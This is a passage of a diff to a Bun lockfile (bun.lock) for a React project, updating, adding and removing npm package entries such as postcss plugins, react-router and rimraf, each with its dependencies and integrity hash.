"sha512-lyDrCOtntq5Y1JZpBFzIWm2wG9kbEdujpNt4NLannF+J9c8CgFIzPa80YQfdza+Y+yFfzbYj/rfoOsYsooUWTQ=="], + "postcss-opacity-percentage": ["postcss-opacity-percentage@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-K6HGVzyxUxd/VgZdX04DCtdwWJ4NGLG212US4/LA1TLAbHgmAsTWVR86o+gGIbFtnTkfOpb9sCRBx8K7HO66qQ=="], "postcss-ordered-values": ["postcss-ordered-values@5.1.3", "", { "dependencies": { "cssnano-utils": "^3.1.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ=="], - "postcss-overflow-shorthand": ["postcss-overflow-shorthand@4.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-HQZ0qi/9iSYHW4w3ogNqVNr2J49DHJAl7r8O2p0Meip38jsdnRPgiDW7r/LlLrrMBMe3KHkvNtAV2UmRVxzLIg=="], + "postcss-overflow-shorthand": ["postcss-overflow-shorthand@7.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9SLpjoUdGRoRrzoOdX66HbUs0+uDwfIAiXsRa7piKGOqPd6F4ZlON9oaDSP5r1Qpgmzw5L9Ht0undIK6igJPMA=="], "postcss-page-break": ["postcss-page-break@3.0.4", "", { "peerDependencies": { "postcss": "^8" } }, "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ=="], - "postcss-place": ["postcss-place@8.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Ow2LedN8sL4pq8ubukO77phSVt4QyCm35ZGCYXKvRFayAwcpgB0sjNJglDoTuRdUL32q/ZC1VkPBo0AOEr4Uiw=="], + "postcss-place": ["postcss-place@11.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fAifpyjQ+fuDRp2nmF95WbotqbpjdazebedahXdfBxy5sHembOLpBQ1cHveZD9ZmjK26tYM8tikeNaUlp/KfHA=="], - "postcss-preset-env": ["postcss-preset-env@8.5.1", "", { "dependencies": { "@csstools/postcss-cascade-layers": "^3.0.1", "@csstools/postcss-color-function": "^2.2.3", "@csstools/postcss-color-mix-function": "^1.0.3", "@csstools/postcss-font-format-keywords": "^2.0.2", "@csstools/postcss-gradients-interpolation-method": "^3.0.6", "@csstools/postcss-hwb-function": "^2.2.2", "@csstools/postcss-ic-unit": "^2.0.4", "@csstools/postcss-is-pseudo-class": "^3.2.1", "@csstools/postcss-logical-float-and-clear": "^1.0.1", "@csstools/postcss-logical-resize": "^1.0.1", "@csstools/postcss-logical-viewport-units": "^1.0.3", "@csstools/postcss-media-minmax": "^1.0.4", "@csstools/postcss-media-queries-aspect-ratio-number-values": "^1.0.4", "@csstools/postcss-nested-calc": "^2.0.2", "@csstools/postcss-normalize-display-values": "^2.0.1", "@csstools/postcss-oklab-function": "^2.2.3", "@csstools/postcss-progressive-custom-properties": "^2.3.0", "@csstools/postcss-relative-color-syntax": "^1.0.2", "@csstools/postcss-scope-pseudo-class": "^2.0.2", "@csstools/postcss-stepped-value-functions": "^2.1.1", "@csstools/postcss-text-decoration-shorthand": "^2.2.4", "@csstools/postcss-trigonometric-functions": "^2.1.1", "@csstools/postcss-unset-value": "^2.0.1", "autoprefixer": "^10.4.14", "browserslist": "^4.21.9", "css-blank-pseudo": "^5.0.2", "css-has-pseudo": "^5.0.2", "css-prefers-color-scheme": "^8.0.2", "cssdb": "^7.6.0", "postcss-attribute-case-insensitive": "^6.0.2", "postcss-clamp": "^4.1.0", "postcss-color-functional-notation": "^5.1.0", "postcss-color-hex-alpha": "^9.0.2", "postcss-color-rebeccapurple": "^8.0.2", "postcss-custom-media": "^9.1.5", "postcss-custom-properties": "^13.2.0", "postcss-custom-selectors": "^7.1.3", "postcss-dir-pseudo-class": "^7.0.2", "postcss-double-position-gradients": "^4.0.4", "postcss-focus-visible": "^8.0.2", "postcss-focus-within": "^7.0.2", "postcss-font-variant": "^5.0.0", "postcss-gap-properties": "^4.0.1", "postcss-image-set-function": "^5.0.2", "postcss-initial": "^4.0.1", "postcss-lab-function": "^5.2.3", "postcss-logical": "^6.2.0", "postcss-nesting": "^11.3.0", "postcss-opacity-percentage": "^2.0.0", "postcss-overflow-shorthand": "^4.0.1", "postcss-page-break": "^3.0.4", "postcss-place": "^8.0.1", "postcss-pseudo-class-any-link": "^8.0.2", "postcss-replace-overflow-wrap": "^4.0.0", "postcss-selector-not": "^7.0.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-qhWnJJjP6ArLUINWJ38t6Aftxnv9NW6cXK0NuwcLCcRilbuw72dSFLkCVUJeCfHGgJiKzX+pnhkGiki0PEynWg=="], + "postcss-preset-env": ["postcss-preset-env@11.2.0", "", { "dependencies": { "@csstools/postcss-alpha-function": "^2.0.3", "@csstools/postcss-cascade-layers": "^6.0.0", "@csstools/postcss-color-function": "^5.0.2", "@csstools/postcss-color-function-display-p3-linear": "^2.0.2", "@csstools/postcss-color-mix-function": "^4.0.2", "@csstools/postcss-color-mix-variadic-function-arguments": "^2.0.2", "@csstools/postcss-content-alt-text": "^3.0.0", "@csstools/postcss-contrast-color-function": "^3.0.2", "@csstools/postcss-exponential-functions": "^3.0.1", "@csstools/postcss-font-format-keywords": "^5.0.0", "@csstools/postcss-font-width-property": "^1.0.0", "@csstools/postcss-gamut-mapping": "^3.0.2", "@csstools/postcss-gradients-interpolation-method": "^6.0.2", "@csstools/postcss-hwb-function": "^5.0.2", "@csstools/postcss-ic-unit": "^5.0.0", "@csstools/postcss-initial": "^3.0.0", "@csstools/postcss-is-pseudo-class": "^6.0.0", "@csstools/postcss-light-dark-function": "^3.0.0", "@csstools/postcss-logical-float-and-clear": "^4.0.0", "@csstools/postcss-logical-overflow": "^3.0.0", "@csstools/postcss-logical-overscroll-behavior": "^3.0.0", "@csstools/postcss-logical-resize": "^4.0.0", "@csstools/postcss-logical-viewport-units": "^4.0.0", "@csstools/postcss-media-minmax": "^3.0.1", "@csstools/postcss-media-queries-aspect-ratio-number-values": "^4.0.0", "@csstools/postcss-mixins": "^1.0.0", "@csstools/postcss-nested-calc": "^5.0.0", "@csstools/postcss-normalize-display-values": "^5.0.1", "@csstools/postcss-oklab-function": "^5.0.2", "@csstools/postcss-position-area-property": "^2.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/postcss-property-rule-prelude-list": "^2.0.0", "@csstools/postcss-random-function": "^3.0.1", "@csstools/postcss-relative-color-syntax": "^4.0.2", "@csstools/postcss-scope-pseudo-class": "^5.0.0", "@csstools/postcss-sign-functions": "^2.0.1", "@csstools/postcss-stepped-value-functions": "^5.0.1", "@csstools/postcss-syntax-descriptor-syntax-production": "^2.0.0", "@csstools/postcss-system-ui-font-family": "^2.0.0", "@csstools/postcss-text-decoration-shorthand": "^5.0.3", "@csstools/postcss-trigonometric-functions": "^5.0.1", "@csstools/postcss-unset-value": "^5.0.0", "autoprefixer": "^10.4.24", "browserslist": "^4.28.1", "css-blank-pseudo": "^8.0.1", "css-has-pseudo": "^8.0.0", "css-prefers-color-scheme": "^11.0.0", "cssdb": "^8.8.0", "postcss-attribute-case-insensitive": "^8.0.0", "postcss-clamp": "^4.1.0", "postcss-color-functional-notation": "^8.0.2", "postcss-color-hex-alpha": "^11.0.0", "postcss-color-rebeccapurple": "^11.0.0", "postcss-custom-media": "^12.0.1", "postcss-custom-properties": "^15.0.1", "postcss-custom-selectors": "^9.0.1", "postcss-dir-pseudo-class": "^10.0.0", "postcss-double-position-gradients": "^7.0.0", "postcss-focus-visible": "^11.0.0", "postcss-focus-within": "^10.0.0", "postcss-font-variant": "^5.0.0", "postcss-gap-properties": "^7.0.0", "postcss-image-set-function": "^8.0.0", "postcss-lab-function": "^8.0.2", "postcss-logical": "^9.0.0", "postcss-nesting": "^14.0.0", "postcss-opacity-percentage": "^3.0.0", "postcss-overflow-shorthand": "^7.0.0", "postcss-page-break": "^3.0.4", "postcss-place": "^11.0.0", "postcss-pseudo-class-any-link": "^11.0.0", "postcss-replace-overflow-wrap": "^4.0.0", "postcss-selector-not": "^9.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-eNYpuj68cjGjvZMoSAbHilaCt3yIyzBL1cVuSGJfvJewsaBW/U6dI2bqCJl3iuZsL+yvBobcy4zJFA/3I68IHQ=="], - "postcss-pseudo-class-any-link": ["postcss-pseudo-class-any-link@8.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FYTIuRE07jZ2CW8POvctRgArQJ43yxhr5vLmImdKUvjFCkR09kh8pIdlCwdx/jbFm7MiW4QP58L4oOUv3grQYA=="], + "postcss-pseudo-class-any-link": ["postcss-pseudo-class-any-link@11.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-DNFZ4GMa3C3pU5dM+UCTG1CEeLtS1ZqV5DKSqCTJQMn1G5jnd/30fS8+A7H4o5bSD3MOcnx+VgI+xPE9Z5Wvig=="], "postcss-reduce-initial": ["postcss-reduce-initial@5.1.2", "", { "dependencies": { "browserslist": "^4.21.4", "caniuse-api": "^3.0.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg=="], @@ -3903,7 +4171,7 @@ "postcss-replace-overflow-wrap": ["postcss-replace-overflow-wrap@4.0.0", "", { "peerDependencies": { "postcss": "^8.0.3" } }, "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw=="], - "postcss-selector-not": ["postcss-selector-not@7.0.1", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1zT5C27b/zeJhchN7fP0kBr16Cc61mu7Si9uWWLoA3Px/D9tIJPKchJCkUH3tPO5D0pCFmGeApAv8XpXBQJ8SQ=="], + "postcss-selector-not": ["postcss-selector-not@9.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-xhAtTdHnVU2M/CrpYOPyRUvg3njhVlKmn2GNYXDaRJV9Ygx4d5OkSkc7NINzjUqnbDFtaKXlISOBeyMXU/zyFQ=="], "postcss-selector-parser": ["postcss-selector-parser@6.0.15", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-rEYkQOMUCEMhsKbK66tbEU9QVIxbhN18YiniAwA7XQYTVBqrBy+P2p5JcdqsHgKM2zWylp8d7J6eszocfds5Sw=="], @@ -3937,7 +4205,7 @@ "property-information": ["property-information@6.4.1", "", {}, "sha512-OHYtXfu5aI2sS2LWFSN5rgJjrQ4pCy8i1jubJLe2QvMF8JJ++HXTUIVWFLfXJoaOfvYYjk2SN8J2wFUWIGXT4w=="], - "protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], + "protobufjs": ["protobufjs@7.5.4", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg=="], "proxy-addr": ["proxy-addr@2.0.7", "", { "dependencies": { "forwarded": "0.2.0", "ipaddr.js": "1.9.1" } }, "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg=="], @@ -3945,8 +4213,6 @@ "pseudomap": ["pseudomap@1.0.2", "", {}, "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ=="], - "psl": ["psl@1.9.0", "", {}, "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag=="], - "pstree.remy": ["pstree.remy@1.1.8", "", {}, "sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w=="], "public-encrypt": ["public-encrypt@4.0.3", "", { "dependencies": { "bn.js": "^4.1.0", "browserify-rsa": "^4.0.0", "create-hash": "^1.1.0", "parse-asn1": "^5.0.0", "randombytes": "^2.0.1", "safe-buffer": "^5.1.2" } }, "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q=="], @@ -3961,8 +4227,6 @@ "querystring-es3": ["querystring-es3@0.2.1", "", {}, "sha512-773xhDQnZBMFobEiztv8LIl70ch5MSF/jUQVlhwFyBILqq96anmoctVIYz+ZRp0qbCKATTn6ev02M3r7Ga5vqA=="], - "querystringify": ["querystringify@2.2.0", "", {}, "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ=="], - "queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="], "random-bytes": ["random-bytes@1.0.0", "", {}, "sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ=="], @@ -4003,23 +4267,21 @@ "react-is": ["react-is@17.0.2", "", {}, "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="], - "react-lazy-load-image-component": ["react-lazy-load-image-component@1.6.0", "", { "dependencies": { "lodash.debounce": "^4.0.8", "lodash.throttle": "^4.1.1" }, "peerDependencies": { "react": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x", "react-dom": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x" } }, "sha512-8KFkDTgjh+0+PVbH+cx0AgxLGbdTsxWMnxXzU5HEUztqewk9ufQAu8cstjZhyvtMIPsdMcPZfA0WAa7HtjQbBQ=="], - "react-lifecycles-compat": ["react-lifecycles-compat@3.0.4", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="], "react-markdown": ["react-markdown@9.0.1", "", { "dependencies": { "@types/hast": "^3.0.0", "devlop": "^1.0.0", "hast-util-to-jsx-runtime": "^2.0.0", "html-url-attributes": "^3.0.0", "mdast-util-to-hast": "^13.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.0.0", "unified": "^11.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" }, "peerDependencies": { "@types/react": ">=18", "react": ">=18" } }, "sha512-186Gw/vF1uRkydbsOIkcGXw7aHq0sZOCRFFjGrr7b9+nVZg4UfA4enXCaxm4fUzecU38sWfrNDitGhshuU7rdg=="], - "react-refresh": ["react-refresh@0.14.2", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="], + "react-refresh": ["react-refresh@0.18.0", "", {}, "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw=="], - "react-remove-scroll": ["react-remove-scroll@2.7.1", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA=="], + "react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="], "react-remove-scroll-bar": ["react-remove-scroll-bar@2.3.8", "", { "dependencies": { "react-style-singleton": "^2.2.2", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q=="], "react-resizable-panels": ["react-resizable-panels@3.0.6", "", { "peerDependencies": { "react": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc", "react-dom": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-b3qKHQ3MLqOgSS+FRYKapNkJZf5EQzuf6+RLiq1/IlTHw99YrZ2NJZLk4hQIzTnnIkRg2LUqyVinu6YWWpUYew=="], - "react-router": ["react-router@6.22.0", "", { "dependencies": { "@remix-run/router": "1.15.0" }, "peerDependencies": { "react": ">=16.8" } }, "sha512-q2yemJeg6gw/YixRlRnVx6IRJWZD6fonnfZhN1JIOhV2iJCPeRNSH3V1ISwHf+JWcESzLC3BOLD1T07tmO5dmg=="], + "react-router": ["react-router@6.30.3", "", { "dependencies": { "@remix-run/router": "1.23.2" }, "peerDependencies": { "react": ">=16.8" } }, "sha512-XRnlbKMTmktBkjCLE8/XcZFlnHvr2Ltdr1eJX4idL55/9BbORzyZEaIkBFDhFGCEWBBItsVrDxwx3gnisMitdw=="], - "react-router-dom": ["react-router-dom@6.22.0", "", { "dependencies": { "@remix-run/router": "1.15.0", "react-router": "6.22.0" }, "peerDependencies": { "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-z2w+M4tH5wlcLmH3BMMOMdrtrJ9T3oJJNsAlBJbwk+8Syxd5WFJ7J5dxMEW0/GEXD1BBis4uXRrNIz3mORr0ag=="], + "react-router-dom": ["react-router-dom@6.30.3", "", { "dependencies": { "@remix-run/router": "1.23.2", "react-router": "6.30.3" }, "peerDependencies": { "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-pxPcv1AczD4vso7G4Z3TKcvlxK7g7TNt3/FNGMhfqyntocvYKj+GCatfigGDjbLozC4baguJ0ReCigoDJXb0ag=="], "react-speech-recognition": ["react-speech-recognition@3.10.0", "", { "peerDependencies": { "react": ">=16.8.0" } }, "sha512-EVSr4Ik8l9urwdPiK2r0+ADrLyDDrjB0qBRdUWO+w2MfwEBrj6NuRmy1GD3x7BU/V6/hab0pl8Lupen0zwlJyw=="], @@ -4057,8 +4319,6 @@ "regenerator-runtime": ["regenerator-runtime@0.14.1", "", {}, "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw=="], - "regenerator-transform": ["regenerator-transform@0.15.2", "", { "dependencies": { "@babel/runtime": "^7.8.4" } }, "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg=="], - "regexp.prototype.flags": ["regexp.prototype.flags@1.5.4", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-errors": "^1.3.0", "get-proto": "^1.0.1", "gopd": "^1.2.0", "set-function-name": "^2.0.2" } }, "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA=="], "regexpu-core": ["regexpu-core@6.2.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.0", "regjsgen": "^0.8.0", "regjsparser": "^0.12.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.1.0" } }, "sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA=="], @@ -4097,8 +4357,6 @@ "requireindex": ["requireindex@1.1.0", "", {}, "sha512-LBnkqsDE7BZKvqylbmn7lTIVdpx4K/QCduRATpO5R+wtPmky/a8pN1bO2D6wXppn1497AJF9mNjqAXr6bdl9jg=="], - "requires-port": ["requires-port@1.0.0", "", {}, "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ=="], - "resolve": ["resolve@2.0.0-next.5", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA=="], "resolve-cwd": ["resolve-cwd@3.0.0", "", { "dependencies": { "resolve-from": "^5.0.0" } }, "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg=="], @@ -4115,10 +4373,12 @@ "rfdc": ["rfdc@1.4.1", "", {}, "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA=="], - "rimraf": ["rimraf@6.1.2", "", { "dependencies": { "glob": "^13.0.0", "package-json-from-dist": "^1.0.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g=="], + "rimraf": ["rimraf@6.1.3", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="], "ripemd160": ["ripemd160@2.0.2", "", { "dependencies": { "hash-base": "^3.0.0", "inherits": "^2.0.1" } }, "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA=="], + "robust-predicates": ["robust-predicates@3.0.2", "", {}, "sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg=="], + "rollup": ["rollup@4.37.0", "", { "dependencies": { "@types/estree": "1.0.6" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.37.0", "@rollup/rollup-android-arm64": "4.37.0", "@rollup/rollup-darwin-arm64": "4.37.0", "@rollup/rollup-darwin-x64": "4.37.0", "@rollup/rollup-freebsd-arm64": "4.37.0", "@rollup/rollup-freebsd-x64": "4.37.0", "@rollup/rollup-linux-arm-gnueabihf": "4.37.0", "@rollup/rollup-linux-arm-musleabihf": "4.37.0", "@rollup/rollup-linux-arm64-gnu": "4.37.0", "@rollup/rollup-linux-arm64-musl": "4.37.0", "@rollup/rollup-linux-loongarch64-gnu": "4.37.0", "@rollup/rollup-linux-powerpc64le-gnu": "4.37.0", "@rollup/rollup-linux-riscv64-gnu": "4.37.0", "@rollup/rollup-linux-riscv64-musl": "4.37.0", "@rollup/rollup-linux-s390x-gnu": "4.37.0", "@rollup/rollup-linux-x64-gnu": "4.37.0", "@rollup/rollup-linux-x64-musl": "4.37.0", "@rollup/rollup-win32-arm64-msvc": "4.37.0", "@rollup/rollup-win32-ia32-msvc": "4.37.0", "@rollup/rollup-win32-x64-msvc": "4.37.0", "fsevents": "~2.3.2" }, "bin": "dist/bin/rollup" }, "sha512-iAtQy/L4QFU+rTJ1YUjXqJOJzuwEghqWzCEYD2FEghT7Gsy1VdABntrO4CLopA5IkflTyqNiLNwPcOJ3S7UKLg=="], "rollup-plugin-peer-deps-external": ["rollup-plugin-peer-deps-external@2.2.4", "", { "peerDependencies": { "rollup": "*" } }, "sha512-AWdukIM1+k5JDdAqV/Cxd+nejvno2FVLVeZ74NKggm3Q5s9cbbcOgUPGdbxPi4BXu7xGaZ8HG12F+thImYu/0g=="], @@ -4129,6 +4389,8 @@ "rollup-pluginutils": ["rollup-pluginutils@2.8.2", "", { "dependencies": { "estree-walker": "^0.6.1" } }, "sha512-EEp9NhnUkwY8aif6bxgovPHMoMoNr2FulJziTndpt5H9RdwC47GSGuII9XxpSdzVGM0GWrNPHV6ie1LTNJPaLQ=="], + "roughjs": ["roughjs@4.6.6", "", { "dependencies": { "hachure-fill": "^0.5.2", "path-data-parser": "^0.1.0", "points-on-curve": "^0.2.0", "points-on-path": "^0.2.1" } }, "sha512-ZUz/69+SYpFN/g/lUlo2FXcIjRkSu3nDarreVdGGndHEBJ6cXPdKguS8JGxwj5HA5xIbVKSmLgr5b3AWxtRfvQ=="], + "router": ["router@2.2.0", "", { "dependencies": { "debug": "^4.4.0", "depd": "^2.0.0", "is-promise": "^4.0.0", "parseurl": "^1.3.3", "path-to-regexp": "^8.0.0" } }, "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ=="], "rrweb-cssom": ["rrweb-cssom@0.8.0", "", {}, "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw=="], @@ -4137,6 +4399,8 @@ "run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="], + "rw": ["rw@1.3.3", "", {}, "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ=="], + "safe-array-concat": ["safe-array-concat@1.1.3", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "get-intrinsic": "^1.2.6", "has-symbols": "^1.1.0", "isarray": "^2.0.5" } }, "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q=="], "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], @@ -4157,15 +4421,13 @@ "scheduler": ["scheduler@0.23.2", "", { "dependencies": { "loose-envify": "^1.1.0" } }, 